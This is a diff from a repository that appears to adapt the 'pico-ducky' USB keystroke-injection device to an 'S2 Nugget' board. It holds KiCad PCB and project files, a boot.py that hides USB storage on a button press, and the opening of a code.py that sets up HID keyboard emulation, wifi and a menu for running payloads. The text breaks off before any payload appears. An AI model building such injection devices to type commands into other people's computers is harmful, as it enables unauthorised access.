(pad "17" thru_hole oval locked (at 0 40.64) (size 1.7 1.7) (drill 1) (layers *.Cu *.Mask)
|
||||
(net 9 "unconnected-(J1-Pad17)") (pinfunction "Pin_17") (pintype "passive") (tstamp bd8df187-444b-4819-a289-8ba5ff2e46b6))
|
||||
(pad "18" thru_hole oval locked (at 0 43.18) (size 1.7 1.7) (drill 1) (layers *.Cu *.Mask)
|
||||
(net 36 "Net-(J1-Pad18)") (pinfunction "Pin_18") (pintype "passive") (tstamp c39baa4e-3aa1-4edc-bd10-b789a33040d0))
|
||||
(pad "19" thru_hole oval locked (at 0 45.72) (size 1.7 1.7) (drill 1) (layers *.Cu *.Mask)
|
||||
(net 10 "unconnected-(J1-Pad19)") (pinfunction "Pin_19") (pintype "passive") (tstamp f5435e42-c1ee-4a96-ab1d-cf405c5546eb))
|
||||
(pad "20" thru_hole oval locked (at 0 48.26) (size 1.7 1.7) (drill 1) (layers *.Cu *.Mask)
|
||||
(net 37 "Net-(J1-Pad20)") (pinfunction "Pin_20") (pintype "passive") (tstamp b65f6395-d469-4afb-9d3b-bc71d62896fd))
|
||||
(model "${KICAD6_3DMODEL_DIR}/Connector_PinSocket_2.54mm.3dshapes/PinSocket_1x20_P2.54mm_Vertical.wrl"
|
||||
(offset (xyz 0 0 0))
|
||||
(scale (xyz 1 1 1))
|
||||
(rotate (xyz 0 0 0))
|
||||
)
|
||||
)
|
||||
|
||||
(footprint "MSS-102545-14A-D:SW_MSS-102545-14A-D" (layer "F.Cu")
|
||||
(tedit 61F6FABF) (tstamp ae77c3c8-1144-468e-ad5b-a0b4090735bd)
|
||||
(at 105.7 56.74 -90)
|
||||
(property "MANUFACTURER" "CUI Devices")
|
||||
(property "MAXIMUM_PACKAGE_HEIGHT" "6.5 mm")
|
||||
(property "PARTREV" "1.0")
|
||||
(property "STANDARD" "Manufacturer Recommendations")
|
||||
(property "Sheetfile" "pico-ducky.kicad_sch")
|
||||
(property "Sheetname" "")
|
||||
(path "/100847e3-630c-4c13-ba45-180e92370805")
|
||||
(attr through_hole)
|
||||
(fp_text reference "S2" (at -1.825 -2.635 90) (layer "F.SilkS")
|
||||
(effects (font (size 1 1) (thickness 0.15)))
|
||||
(tstamp 49a65079-57a9-46fc-8711-1d7f2cab8dbf)
|
||||
)
|
||||
(fp_text value "MSS-102545-14A-D" (at 7.065 2.635 90) (layer "F.Fab")
|
||||
(effects (font (size 1 1) (thickness 0.15)))
|
||||
(tstamp 87ba184f-bff5-4989-8217-6af375cc3dd8)
|
||||
)
|
||||
(fp_line (start 5 1.25) (end 5 -1.25) (layer "F.SilkS") (width 0.127) (tstamp 25c663ff-96b6-4263-a06e-d1829409cf73))
|
||||
(fp_line (start -5 1.25) (end 5 1.25) (layer "F.SilkS") (width 0.127) (tstamp 34ce7009-187e-4541-a14e-708b3a2903d9))
|
||||
(fp_line (start 5 -1.25) (end -5 -1.25) (layer "F.SilkS") (width 0.127) (tstamp 637e9edf-ffed-49a2-8408-fa110c9a4c79))
|
||||
(fp_line (start -5 -1.25) (end -5 1.25) (layer "F.SilkS") (width 0.127) (tstamp b456cffc-d9d7-4c91-91f2-36ec9a65dd1b))
|
||||
(fp_circle (center 0 1.85) (end 0.1 1.85) (layer "F.SilkS") (width 0.2) (fill none) (tstamp aa8663be-9516-4b07-84d2-4c4d668b8596))
|
||||
(fp_line (start -5.25 1.5) (end 5.25 1.5) (layer "F.CrtYd") (width 0.05) (tstamp 291935ec-f8ff-41f0-8717-e68b8af7b8c1))
|
||||
(fp_line (start 5.25 -1.5) (end -5.25 -1.5) (layer "F.CrtYd") (width 0.05) (tstamp 35fb7c56-dc85-43f7-b954-81b8040a8500))
|
||||
(fp_line (start 5.25 1.5) (end 5.25 -1.5) (layer "F.CrtYd") (width 0.05) (tstamp 4e677390-a246-4ca0-954c-746e0870f88f))
|
||||
(fp_line (start -5.25 -1.5) (end -5.25 1.5) (layer "F.CrtYd") (width 0.05) (tstamp 73ee7e03-97a8-4121-b568-c25f3934a935))
|
||||
(fp_line (start 5 -1.25) (end -5 -1.25) (layer "F.Fab") (width 0.127) (tstamp 1a22eb2d-f625-4371-a918-ff1b97dc8219))
|
||||
(fp_line (start 5 1.25) (end 5 -1.25) (layer "F.Fab") (width 0.127) (tstamp 6ff9bb63-d6fd-4e32-bb60-7ac65509c2e9))
|
||||
(fp_line (start -5 1.25) (end 5 1.25) (layer "F.Fab") (width 0.127) (tstamp d767f2ff-12ec-4778-96cb-3fdd7a473d60))
|
||||
(fp_line (start -5 -1.25) (end -5 1.25) (layer "F.Fab") (width 0.127) (tstamp f674b8e7-203d-419e-988a-58e0f9ae4fad))
|
||||
(fp_circle (center 0 1.85) (end 0.1 1.85) (layer "F.Fab") (width 0.2) (fill none) (tstamp dfcef016-1bf5-4158-8a79-72d38a522877))
|
||||
(pad "1" thru_hole rect locked (at 0 0 270) (size 1.308 1.308) (drill 0.8) (layers *.Cu *.Mask)
|
||||
(net 31 "Net-(J1-Pad3)") (pintype "passive") (tstamp 9fdca5c2-1fbd-4774-a9c3-8795a40c206d))
|
||||
(pad "2" thru_hole circle locked (at -2.54 0 270) (size 1.308 1.308) (drill 0.8) (layers *.Cu *.Mask)
|
||||
(net 40 "Net-(J1-Pad1)") (pintype "passive") (tstamp a0d52767-051a-423c-a600-928281f27952))
|
||||
(pad "3" thru_hole circle locked (at 2.54 0 270) (size 1.308 1.308) (drill 0.8) (layers *.Cu *.Mask)
|
||||
(net 42 "unconnected-(S2-Pad3)") (pintype "passive") (tstamp 178ae27e-edb9-4ffb-bd13-c0a6dd659606))
|
||||
)
|
||||
|
||||
(footprint "MountingHole:MountingHole_3.2mm_M3" (layer "F.Cu")
|
||||
(tedit 56D1B4CB) (tstamp caa42d03-8d73-4d57-b233-e69949da956a)
|
||||
(at 135.4 46.7)
|
||||
(descr "Mounting Hole 3.2mm, no annular, M3")
|
||||
(tags "mounting hole 3.2mm no annular m3")
|
||||
(attr exclude_from_pos_files exclude_from_bom)
|
||||
(fp_text reference "REF**" (at 0 -4.2) (layer "F.SilkS") hide
|
||||
(effects (font (size 1 1) (thickness 0.15)))
|
||||
(tstamp c76d4423-ef1b-4a6f-8176-33d65f2877bb)
|
||||
)
|
||||
(fp_text value "MountingHole_3.2mm_M3" (at 0 4.2) (layer "F.Fab")
|
||||
(effects (font (size 1 1) (thickness 0.15)))
|
||||
(tstamp f7667b23-296e-4362-a7e3-949632c8954b)
|
||||
)
|
||||
(fp_text user "${REFERENCE}" (at 0.3 0) (layer "F.Fab")
|
||||
(effects (font (size 1 1) (thickness 0.15)))
|
||||
(tstamp b873bc5d-a9af-4bd9-afcb-87ce4d417120)
|
||||
)
|
||||
(fp_circle (center 0 0) (end 3.2 0) (layer "Cmts.User") (width 0.15) (fill none) (tstamp 03c7f780-fc1b-487a-b30d-567d6c09fdc8))
|
||||
(fp_circle (center 0 0) (end 3.45 0) (layer "F.CrtYd") (width 0.05) (fill none) (tstamp c04386e0-b49e-4fff-b380-675af13a62cb))
|
||||
(pad "" np_thru_hole circle (at 0 0) (size 3.2 3.2) (drill 3.2) (layers *.Cu *.Mask) (tstamp 700e8b73-5976-423f-a3f3-ab3d9f3e9760))
|
||||
)
|
||||
|
||||
(footprint "MountingHole:MountingHole_3.2mm_M3" (layer "F.Cu")
|
||||
(tedit 56D1B4CB) (tstamp e5659af8-1b07-414b-b4ba-77ce52c44317)
|
||||
(at 135.5 107.3)
|
||||
(descr "Mounting Hole 3.2mm, no annular, M3")
|
||||
(tags "mounting hole 3.2mm no annular m3")
|
||||
(attr exclude_from_pos_files exclude_from_bom)
|
||||
(fp_text reference "REF**" (at 0 -4.2) (layer "F.SilkS") hide
|
||||
(effects (font (size 1 1) (thickness 0.15)))
|
||||
(tstamp b9bb0e73-161a-4d06-b6eb-a9f66d8a95f5)
|
||||
)
|
||||
(fp_text value "MountingHole_3.2mm_M3" (at 0 4.2) (layer "F.Fab")
|
||||
(effects (font (size 1 1) (thickness 0.15)))
|
||||
(tstamp 4107d40a-e5df-4255-aacc-13f9928e090c)
|
||||
)
|
||||
(fp_text user "${REFERENCE}" (at 0.3 0) (layer "F.Fab")
|
||||
(effects (font (size 1 1) (thickness 0.15)))
|
||||
(tstamp 0fdc6f30-77bc-4e9b-8665-c8aa9acf5bf9)
|
||||
)
|
||||
(fp_circle (center 0 0) (end 3.2 0) (layer "Cmts.User") (width 0.15) (fill none) (tstamp 0ae82096-0994-4fb0-9a2a-d4ac4804abac))
|
||||
(fp_circle (center 0 0) (end 3.45 0) (layer "F.CrtYd") (width 0.05) (fill none) (tstamp e0f06b5c-de63-4833-a591-ca9e19217a35))
|
||||
(pad "" np_thru_hole circle (at 0 0) (size 3.2 3.2) (drill 3.2) (layers *.Cu *.Mask) (tstamp b4300db7-1220-431a-b7c3-2edbdf8fa6fc))
|
||||
)
|
||||
|
||||
(footprint "MountingHole:MountingHole_3.2mm_M3" (layer "F.Cu")
|
||||
(tedit 56D1B4CB) (tstamp ee0468cc-9675-4b75-be39-8b2679523f9a)
|
||||
(at 105.8 107.4)
|
||||
(descr "Mounting Hole 3.2mm, no annular, M3")
|
||||
(tags "mounting hole 3.2mm no annular m3")
|
||||
(attr exclude_from_pos_files exclude_from_bom)
|
||||
(fp_text reference "REF**" (at 0 -4.2) (layer "F.SilkS") hide
|
||||
(effects (font (size 1 1) (thickness 0.15)))
|
||||
(tstamp 8195a7cf-4576-44dd-9e0e-ee048fdb93dd)
|
||||
)
|
||||
(fp_text value "MountingHole_3.2mm_M3" (at 0 4.2) (layer "F.Fab")
|
||||
(effects (font (size 1 1) (thickness 0.15)))
|
||||
(tstamp e7bb7815-0d52-4bb8-b29a-8cf960bd2905)
|
||||
)
|
||||
(fp_text user "${REFERENCE}" (at 0.3 0) (layer "F.Fab")
|
||||
(effects (font (size 1 1) (thickness 0.15)))
|
||||
(tstamp d2d7bea6-0c22-495f-8666-323b30e03150)
|
||||
)
|
||||
(fp_circle (center 0 0) (end 3.2 0) (layer "Cmts.User") (width 0.15) (fill none) (tstamp 0f324b67-75ef-407f-8dbc-3c1fc5c2abba))
|
||||
(fp_circle (center 0 0) (end 3.45 0) (layer "F.CrtYd") (width 0.05) (fill none) (tstamp 1c68b844-c861-46b7-b734-0242168a4220))
|
||||
(pad "" np_thru_hole circle (at 0 0) (size 3.2 3.2) (drill 3.2) (layers *.Cu *.Mask) (tstamp 79e31048-072a-4a40-a625-26bb0b5f046b))
|
||||
)
|
||||
|
||||
(gr_rect (start 102.12 43.06) (end 139.03 111.08) (layer "Edge.Cuts") (width 0.1) (fill none) (tstamp dbfb14d7-1f97-4dd2-9004-1d129d3b4221))
|
||||
|
||||
(segment (start 105.7 56.74) (end 111.405 56.74) (width 0.25) (layer "F.Cu") (net 31) (tstamp 04ad2464-115f-4e51-85ef-62527f6f730f))
|
||||
(segment (start 111.405 56.74) (end 112.95 58.285) (width 0.25) (layer "F.Cu") (net 31) (tstamp 107eba14-98d9-4afc-9bd1-f9918704065d))
|
||||
(segment (start 111.295 65.905) (end 112.95 65.905) (width 0.25) (layer "F.Cu") (net 32) (tstamp 50adc7ba-3b83-472b-8dfc-b74684357a6c))
|
||||
(segment (start 105.4 71.8) (end 111.295 65.905) (width 0.25) (layer "F.Cu") (net 32) (tstamp ed8e419c-3e02-45bc-a398-dfef73bb479d))
|
||||
(segment (start 107.594999 73.800001) (end 112.95 68.445) (width 0.25) (layer "F.Cu") (net 33) (tstamp 0e5e24d7-3dc5-4e1e-8769-7c7ae1c9e8a6))
|
||||
(segment (start 105.4 73.800001) (end 107.594999 73.800001) (width 0.25) (layer "F.Cu") (net 33) (tstamp 586ef98a-572a-4c28-8086-49f602b4ce1a))
|
||||
(segment (start 105.4 79.799999) (end 106.524999 79.799999) (width 0.25) (layer "F.Cu") (net 34) (tstamp 083b2527-e405-49bd-a309-2cdb85cd9a7a))
|
||||
(segment (start 106.524999 79.799999) (end 112.95 86.225) (width 0.25) (layer "F.Cu") (net 34) (tstamp a4b2ea54-8955-488f-827f-865f41cd460f))
|
||||
(segment (start 112.365 88.765) (end 112.95 88.765) (width 0.25) (layer "F.Cu") (net 35) (tstamp 550980db-668a-4cd5-b944-6f8f90a64b92))
|
||||
(segment (start 105.4 81.8) (end 112.365 88.765) (width 0.25) (layer "F.Cu") (net 35) (tstamp 8cb3cc65-5125-4b26-8805-a87acd967839))
|
||||
(segment (start 111.335 98) (end 112.95 96.385) (width 0.25) (layer "F.Cu") (net 36) (tstamp b11de678-5a1b-4645-977e-d01fbb62650b))
|
||||
(segment (start 105.2 98) (end 111.335 98) (width 0.25) (layer "F.Cu") (net 36) (tstamp c49e1f14-c2a8-457b-b542-3379c6ba9356))
|
||||
(segment (start 105.2 100.54) (end 112.025 100.54) (width 0.25) (layer "F.Cu") (net 37) (tstamp 6a66fc9e-c892-4458-921d-87615fa3a44a))
|
||||
(segment (start 112.025 100.54) (end 112.95 101.465) (width 0.25) (layer "F.Cu") (net 37) (tstamp 9f9df658-76f9-4492-a345-d51805669b23))
|
||||
(segment (start 105.4 75.8) (end 108.135 75.8) (width 0.25) (layer "F.Cu") (net 38) (tstamp 4aba0570-361a-43a1-8475-4e31d3442aa1))
|
||||
(segment (start 108.135 75.8) (end 112.95 70.985) (width 0.25) (layer "F.Cu") (net 38) (tstamp ac902824-adcb-4fe8-b2b9-74384e4a02b2))
|
||||
(segment (start 107.065001 77.800001) (end 112.95 83.685) (width 0.25) (layer "F.Cu") (net 39) (tstamp 14a5d740-983d-4a64-b3ba-76fb523ba838))
|
||||
(segment (start 105.4 77.800001) (end 107.065001 77.800001) (width 0.25) (layer "F.Cu") (net 39) (tstamp bcf37e83-ac07-479a-9d97-44519b68796f))
|
||||
(segment (start 106.695 53.205) (end 105.7 54.2) (width 0.25) (layer "F.Cu") (net 40) (tstamp 5c706984-8543-460e-8fea-862f0cc5a54d))
|
||||
(segment (start 112.95 53.205) (end 106.695 53.205) (width 0.25) (layer "F.Cu") (net 40) (tstamp d6bd5cd5-1aab-4e14-a87e-6b0202d3c68c))
|
||||
|
||||
)
|
||||
@@ -1,75 +0,0 @@
|
||||
{
|
||||
"board": {
|
||||
"active_layer": 0,
|
||||
"active_layer_preset": "All Layers",
|
||||
"auto_track_width": true,
|
||||
"hidden_nets": [],
|
||||
"high_contrast_mode": 0,
|
||||
"net_color_mode": 1,
|
||||
"opacity": {
|
||||
"pads": 1.0,
|
||||
"tracks": 1.0,
|
||||
"vias": 1.0,
|
||||
"zones": 0.6
|
||||
},
|
||||
"ratsnest_display_mode": 0,
|
||||
"selection_filter": {
|
||||
"dimensions": true,
|
||||
"footprints": true,
|
||||
"graphics": true,
|
||||
"keepouts": true,
|
||||
"lockedItems": true,
|
||||
"otherItems": true,
|
||||
"pads": true,
|
||||
"text": true,
|
||||
"tracks": true,
|
||||
"vias": true,
|
||||
"zones": true
|
||||
},
|
||||
"visible_items": [
|
||||
0,
|
||||
1,
|
||||
2,
|
||||
3,
|
||||
4,
|
||||
5,
|
||||
8,
|
||||
9,
|
||||
10,
|
||||
11,
|
||||
12,
|
||||
13,
|
||||
14,
|
||||
15,
|
||||
16,
|
||||
17,
|
||||
18,
|
||||
19,
|
||||
20,
|
||||
21,
|
||||
22,
|
||||
23,
|
||||
24,
|
||||
25,
|
||||
26,
|
||||
27,
|
||||
28,
|
||||
29,
|
||||
30,
|
||||
32,
|
||||
33,
|
||||
34,
|
||||
35,
|
||||
36
|
||||
],
|
||||
"visible_layers": "fffffff_ffffffff",
|
||||
"zone_display_mode": 0
|
||||
},
|
||||
"meta": {
|
||||
"filename": "pico-ducky.kicad_prl",
|
||||
"version": 3
|
||||
},
|
||||
"project": {
|
||||
"files": []
|
||||
}
|
||||
}
|
||||
@@ -1,433 +0,0 @@
|
||||
{
|
||||
"board": {
|
||||
"design_settings": {
|
||||
"defaults": {
|
||||
"board_outline_line_width": 0.09999999999999999,
|
||||
"copper_line_width": 0.19999999999999998,
|
||||
"copper_text_italic": false,
|
||||
"copper_text_size_h": 1.5,
|
||||
"copper_text_size_v": 1.5,
|
||||
"copper_text_thickness": 0.3,
|
||||
"copper_text_upright": false,
|
||||
"courtyard_line_width": 0.049999999999999996,
|
||||
"dimension_precision": 4,
|
||||
"dimension_units": 3,
|
||||
"dimensions": {
|
||||
"arrow_length": 1270000,
|
||||
"extension_offset": 500000,
|
||||
"keep_text_aligned": true,
|
||||
"suppress_zeroes": false,
|
||||
"text_position": 0,
|
||||
"units_format": 1
|
||||
},
|
||||
"fab_line_width": 0.09999999999999999,
|
||||
"fab_text_italic": false,
|
||||
"fab_text_size_h": 1.0,
|
||||
"fab_text_size_v": 1.0,
|
||||
"fab_text_thickness": 0.15,
|
||||
"fab_text_upright": false,
|
||||
"other_line_width": 0.15,
|
||||
"other_text_italic": false,
|
||||
"other_text_size_h": 1.0,
|
||||
"other_text_size_v": 1.0,
|
||||
"other_text_thickness": 0.15,
|
||||
"other_text_upright": false,
|
||||
"pads": {
|
||||
"drill": 0.762,
|
||||
"height": 1.524,
|
||||
"width": 1.524
|
||||
},
|
||||
"silk_line_width": 0.15,
|
||||
"silk_text_italic": false,
|
||||
"silk_text_size_h": 1.0,
|
||||
"silk_text_size_v": 1.0,
|
||||
"silk_text_thickness": 0.15,
|
||||
"silk_text_upright": false,
|
||||
"zones": {
|
||||
"45_degree_only": false,
|
||||
"min_clearance": 0.508
|
||||
}
|
||||
},
|
||||
"diff_pair_dimensions": [
|
||||
{
|
||||
"gap": 0.0,
|
||||
"via_gap": 0.0,
|
||||
"width": 0.0
|
||||
}
|
||||
],
|
||||
"drc_exclusions": [],
|
||||
"meta": {
|
||||
"version": 2
|
||||
},
|
||||
"rule_severities": {
|
||||
"annular_width": "error",
|
||||
"clearance": "error",
|
||||
"copper_edge_clearance": "error",
|
||||
"courtyards_overlap": "error",
|
||||
"diff_pair_gap_out_of_range": "error",
|
||||
"diff_pair_uncoupled_length_too_long": "error",
|
||||
"drill_out_of_range": "error",
|
||||
"duplicate_footprints": "warning",
|
||||
"extra_footprint": "warning",
|
||||
"footprint_type_mismatch": "error",
|
||||
"hole_clearance": "error",
|
||||
"hole_near_hole": "error",
|
||||
"invalid_outline": "error",
|
||||
"item_on_disabled_layer": "error",
|
||||
"items_not_allowed": "error",
|
||||
"length_out_of_range": "error",
|
||||
"malformed_courtyard": "error",
|
||||
"microvia_drill_out_of_range": "error",
|
||||
"missing_courtyard": "ignore",
|
||||
"missing_footprint": "warning",
|
||||
"net_conflict": "warning",
|
||||
"npth_inside_courtyard": "ignore",
|
||||
"padstack": "error",
|
||||
"pth_inside_courtyard": "ignore",
|
||||
"shorting_items": "error",
|
||||
"silk_over_copper": "warning",
|
||||
"silk_overlap": "warning",
|
||||
"skew_out_of_range": "error",
|
||||
"through_hole_pad_without_hole": "error",
|
||||
"too_many_vias": "error",
|
||||
"track_dangling": "warning",
|
||||
"track_width": "error",
|
||||
"tracks_crossing": "error",
|
||||
"unconnected_items": "error",
|
||||
"unresolved_variable": "error",
|
||||
"via_dangling": "warning",
|
||||
"zone_has_empty_net": "error",
|
||||
"zones_intersect": "error"
|
||||
},
|
||||
"rules": {
|
||||
"allow_blind_buried_vias": false,
|
||||
"allow_microvias": false,
|
||||
"max_error": 0.005,
|
||||
"min_clearance": 0.0,
|
||||
"min_copper_edge_clearance": 0.0,
|
||||
"min_hole_clearance": 0.25,
|
||||
"min_hole_to_hole": 0.25,
|
||||
"min_microvia_diameter": 0.19999999999999998,
|
||||
"min_microvia_drill": 0.09999999999999999,
|
||||
"min_silk_clearance": 0.0,
|
||||
"min_through_hole_diameter": 0.3,
|
||||
"min_track_width": 0.19999999999999998,
|
||||
"min_via_annular_width": 0.049999999999999996,
|
||||
"min_via_diameter": 0.39999999999999997,
|
||||
"solder_mask_clearance": 0.0,
|
||||
"solder_mask_min_width": 0.0,
|
||||
"use_height_for_length_calcs": true
|
||||
},
|
||||
"track_widths": [
|
||||
0.0
|
||||
],
|
||||
"via_dimensions": [
|
||||
{
|
||||
"diameter": 0.0,
|
||||
"drill": 0.0
|
||||
}
|
||||
],
|
||||
"zones_allow_external_fillets": false,
|
||||
"zones_use_no_outline": true
|
||||
},
|
||||
"layer_presets": []
|
||||
},
|
||||
"boards": [],
|
||||
"cvpcb": {
|
||||
"equivalence_files": []
|
||||
},
|
||||
"erc": {
|
||||
"erc_exclusions": [],
|
||||
"meta": {
|
||||
"version": 0
|
||||
},
|
||||
"pin_map": [
|
||||
[
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
1,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
2
|
||||
],
|
||||
[
|
||||
0,
|
||||
2,
|
||||
0,
|
||||
1,
|
||||
0,
|
||||
0,
|
||||
1,
|
||||
0,
|
||||
2,
|
||||
2,
|
||||
2,
|
||||
2
|
||||
],
|
||||
[
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
1,
|
||||
0,
|
||||
1,
|
||||
0,
|
||||
1,
|
||||
2
|
||||
],
|
||||
[
|
||||
0,
|
||||
1,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
1,
|
||||
1,
|
||||
2,
|
||||
1,
|
||||
1,
|
||||
2
|
||||
],
|
||||
[
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
1,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
2
|
||||
],
|
||||
[
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
2
|
||||
],
|
||||
[
|
||||
1,
|
||||
1,
|
||||
1,
|
||||
1,
|
||||
1,
|
||||
0,
|
||||
1,
|
||||
1,
|
||||
1,
|
||||
1,
|
||||
1,
|
||||
2
|
||||
],
|
||||
[
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
1,
|
||||
0,
|
||||
0,
|
||||
1,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
2
|
||||
],
|
||||
[
|
||||
0,
|
||||
2,
|
||||
1,
|
||||
2,
|
||||
0,
|
||||
0,
|
||||
1,
|
||||
0,
|
||||
2,
|
||||
2,
|
||||
2,
|
||||
2
|
||||
],
|
||||
[
|
||||
0,
|
||||
2,
|
||||
0,
|
||||
1,
|
||||
0,
|
||||
0,
|
||||
1,
|
||||
0,
|
||||
2,
|
||||
0,
|
||||
0,
|
||||
2
|
||||
],
|
||||
[
|
||||
0,
|
||||
2,
|
||||
1,
|
||||
1,
|
||||
0,
|
||||
0,
|
||||
1,
|
||||
0,
|
||||
2,
|
||||
0,
|
||||
0,
|
||||
2
|
||||
],
|
||||
[
|
||||
2,
|
||||
2,
|
||||
2,
|
||||
2,
|
||||
2,
|
||||
2,
|
||||
2,
|
||||
2,
|
||||
2,
|
||||
2,
|
||||
2,
|
||||
2
|
||||
]
|
||||
],
|
||||
"rule_severities": {
|
||||
"bus_definition_conflict": "error",
|
||||
"bus_entry_needed": "error",
|
||||
"bus_label_syntax": "error",
|
||||
"bus_to_bus_conflict": "error",
|
||||
"bus_to_net_conflict": "error",
|
||||
"different_unit_footprint": "error",
|
||||
"different_unit_net": "error",
|
||||
"duplicate_reference": "error",
|
||||
"duplicate_sheet_names": "error",
|
||||
"extra_units": "error",
|
||||
"global_label_dangling": "warning",
|
||||
"hier_label_mismatch": "error",
|
||||
"label_dangling": "error",
|
||||
"lib_symbol_issues": "warning",
|
||||
"multiple_net_names": "warning",
|
||||
"net_not_bus_member": "warning",
|
||||
"no_connect_connected": "warning",
|
||||
"no_connect_dangling": "warning",
|
||||
"pin_not_connected": "error",
|
||||
"pin_not_driven": "error",
|
||||
"pin_to_pin": "warning",
|
||||
"power_pin_not_driven": "error",
|
||||
"similar_labels": "warning",
|
||||
"unannotated": "error",
|
||||
"unit_value_mismatch": "error",
|
||||
"unresolved_variable": "error",
|
||||
"wire_dangling": "error"
|
||||
}
|
||||
},
|
||||
"libraries": {
|
||||
"pinned_footprint_libs": [],
|
||||
"pinned_symbol_libs": []
|
||||
},
|
||||
"meta": {
|
||||
"filename": "pico-ducky.kicad_pro",
|
||||
"version": 1
|
||||
},
|
||||
"net_settings": {
|
||||
"classes": [
|
||||
{
|
||||
"bus_width": 12.0,
|
||||
"clearance": 0.2,
|
||||
"diff_pair_gap": 0.25,
|
||||
"diff_pair_via_gap": 0.25,
|
||||
"diff_pair_width": 0.2,
|
||||
"line_style": 0,
|
||||
"microvia_diameter": 0.3,
|
||||
"microvia_drill": 0.1,
|
||||
"name": "Default",
|
||||
"pcb_color": "rgba(0, 0, 0, 0.000)",
|
||||
"schematic_color": "rgba(0, 0, 0, 0.000)",
|
||||
"track_width": 0.25,
|
||||
"via_diameter": 0.8,
|
||||
"via_drill": 0.4,
|
||||
"wire_width": 6.0
|
||||
}
|
||||
],
|
||||
"meta": {
|
||||
"version": 2
|
||||
},
|
||||
"net_colors": null
|
||||
},
|
||||
"pcbnew": {
|
||||
"last_paths": {
|
||||
"gencad": "",
|
||||
"idf": "",
|
||||
"netlist": "",
|
||||
"specctra_dsn": "",
|
||||
"step": "",
|
||||
"vrml": ""
|
||||
},
|
||||
"page_layout_descr_file": ""
|
||||
},
|
||||
"schematic": {
|
||||
"annotate_start_num": 0,
|
||||
"drawing": {
|
||||
"default_line_thickness": 6.0,
|
||||
"default_text_size": 50.0,
|
||||
"field_names": [],
|
||||
"intersheets_ref_own_page": false,
|
||||
"intersheets_ref_prefix": "",
|
||||
"intersheets_ref_short": false,
|
||||
"intersheets_ref_show": false,
|
||||
"intersheets_ref_suffix": "",
|
||||
"junction_size_choice": 3,
|
||||
"label_size_ratio": 0.375,
|
||||
"pin_symbol_size": 25.0,
|
||||
"text_offset_ratio": 0.15
|
||||
},
|
||||
"legacy_lib_dir": "",
|
||||
"legacy_lib_list": [],
|
||||
"meta": {
|
||||
"version": 1
|
||||
},
|
||||
"net_format_name": "",
|
||||
"ngspice": {
|
||||
"fix_include_paths": true,
|
||||
"fix_passive_vals": false,
|
||||
"meta": {
|
||||
"version": 0
|
||||
},
|
||||
"model_mode": 0,
|
||||
"workbook_filename": ""
|
||||
},
|
||||
"page_layout_descr_file": "",
|
||||
"plot_directory": "",
|
||||
"spice_adjust_passive_values": false,
|
||||
"spice_external_command": "spice \"%I\"",
|
||||
"subpart_first_id": 65,
|
||||
"subpart_id_separator": 0
|
||||
},
|
||||
"sheets": [
|
||||
[
|
||||
"9538e4ed-27e6-4c37-b989-9859dc0d49e8",
|
||||
""
|
||||
]
|
||||
],
|
||||
"text_variables": {}
|
||||
}
|
||||
7
boot.py
@@ -1,9 +1,13 @@
|
||||
from board import *
|
||||
import digitalio
|
||||
import storage
|
||||
import board
|
||||
import time
|
||||
|
||||
time.sleep(3)
|
||||
|
||||
noStorageStatus = False
|
||||
noStoragePin = digitalio.DigitalInOut(GP15)
|
||||
noStoragePin = digitalio.DigitalInOut(board.IO18) ## If the down button is pressed on the S2 Nugget
|
||||
noStoragePin.switch_to_input(pull=digitalio.Pull.UP)
|
||||
noStorageStatus = not noStoragePin.value
|
||||
|
||||
@@ -14,3 +18,4 @@ if(noStorageStatus == True):
|
||||
else:
|
||||
# normal boot
|
||||
print("USB drive enabled")
|
||||
# Write your code here :-)
|
||||
|
||||
243
code.py
Normal file
@@ -0,0 +1,243 @@
|
||||
# License : GPLv2.0
|
||||
# copyright (c) 2021 Dave Bailey
|
||||
# Author: Dave Bailey (dbisu, @daveisu)
|
||||
# Nugget Fork: Kody Kinzie @skickar
|
||||
# Now It Runs One Of 5 Payloads!
|
||||
|
||||
import usb_hid
|
||||
from adafruit_hid.keyboard import Keyboard
|
||||
import board
|
||||
# comment out these lines for non_US keyboards
|
||||
from adafruit_hid.keyboard_layout_us import KeyboardLayoutUS as KeyboardLayout
|
||||
from adafruit_hid.keycode import Keycode
|
||||
from digitalio import DigitalInOut, Pull
|
||||
from adafruit_debouncer import Debouncer
|
||||
from board import *
|
||||
import busio
|
||||
import displayio
|
||||
import adafruit_framebuf
|
||||
import adafruit_displayio_sh1106
|
||||
import time
|
||||
import wifi
|
||||
import socketpool
|
||||
import adafruit_requests
|
||||
import ssl
|
||||
|
||||
## Screen setup and function to change image on the screen
|
||||
displayio.release_displays()
|
||||
WIDTH = 130 # Change these to the right size for your display!
|
||||
HEIGHT = 64
|
||||
BORDER = 1
|
||||
i2c = busio.I2C(SCL, SDA) # Create the I2C interface.
|
||||
display_bus = displayio.I2CDisplay(i2c, device_address=0x3c)
|
||||
display = adafruit_displayio_sh1106.SH1106(display_bus, width=WIDTH, height=HEIGHT) # Create the SH1106 OLED class.
|
||||
|
||||
def NugEyes(IMAGE): ## Make a function to put eyes on the screen
|
||||
bitmap = displayio.OnDiskBitmap(IMAGE) # Setup the file as the bitmap data source
|
||||
tile_grid = displayio.TileGrid(bitmap, pixel_shader=bitmap.pixel_shader) # Create a TileGrid to hold the bitmap
|
||||
group = displayio.Group() # Create a Group to hold the TileGrid
|
||||
group.append(tile_grid) # Add the TileGrid to the Group
|
||||
display.show(group) # Add the Group to the Display
|
||||
|
||||
NugEyes("/faces/menu.bmp")
|
||||
|
||||
# Button 1 = UP
|
||||
# Button 2 = DOWN
|
||||
# Button 3 = LEFT
|
||||
# Button 4 = RIGHT
|
||||
pins = (board.IO9, board.IO18, board.IO11, board.IO7)
|
||||
buttons = [] # will hold list of Debouncer objects
|
||||
for pin in pins: # set up each pin
|
||||
tmp_pin = DigitalInOut(pin) # defaults to input
|
||||
